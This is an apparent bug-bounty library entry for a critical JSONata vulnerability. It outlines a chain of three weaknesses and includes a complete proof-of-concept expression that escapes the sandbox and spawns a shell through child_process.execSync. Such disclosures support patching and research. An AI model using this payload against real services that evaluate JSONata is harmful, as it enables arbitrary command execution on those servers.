# JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

JSONata before 2.2.1/1.8.8 lets crafted expressions overwrite $clone, destruct lambdas, and abuse proc.arguments.forEach to reach Function constructor and execute shell commands.

- Payout: Research
- Severity: critical
- Program: JSONata
- Found by: c0rydoras
- Disclosed: 2026-08-21
- CVE: CVE-2026-77415
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-66mm-25pp-rfff
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-66mm-25pp-rfff
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:rce vuln:sandbox-escape

**Target:** jsonata expression evaluator (npm library)
**Root cause:** Transform expressions can overwrite $clone and mutate internal lambda objects, and applyProcedure uses proc.arguments.forEach (attacker-controllable) instead of Array.prototype.forEach, letting crafted expressions reach the Function constructor.
**Steps:**
1. Define `$clone := function($o) { $o }` to disable cloning so transforms mutate objects in place.
2. Extract a lambda via `$m := ($merge.*)[1]` to destruct jsonata functions.
3. Use `$ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|` to overwrite internal lambda fields.
4. Replace `arguments.forEach` with `$spread($fn)` so applyProcedure invokes attacker code.
5. Overwrite `body` with a capture function that stores `$lg` into `$obj`.
6. Call `$func()` to trigger applyProcedure, then `$obj.lg("__proto__")` to obtain the Function constructor.
7. Invoke `$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()` to spawn a shell.
**How found:** Code review of evaluateTransformExpression and applyProcedure revealed that transforms mutate objects without proper cloning and that proc.arguments.forEach is attacker-influenced, suggesting a path to the Function constructor.
**Exploitation:** Attacker supplies a malicious JSONata expression to any service evaluating untrusted expressions; the chain mutates internal lambda objects and abuses applyProcedure to reach the Function constructor, executing arbitrary OS commands via child_process.execSync.
**Escalation:** Chains three separate weaknesses (clone overwrite, lambda destruction, forEach hijack) to escalate from expression evaluation to full RCE.
**Insight:** When a sandboxed expression engine exposes transform/update operators, check whether clone semantics can be overridden and whether internal call paths use attacker-reachable properties like proc.arguments.forEach instead of Array.prototype methods.

## Proof of concept (copied exactly from the original report)

**JSONata expression chaining to RCE via child_process**

```
const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});
```

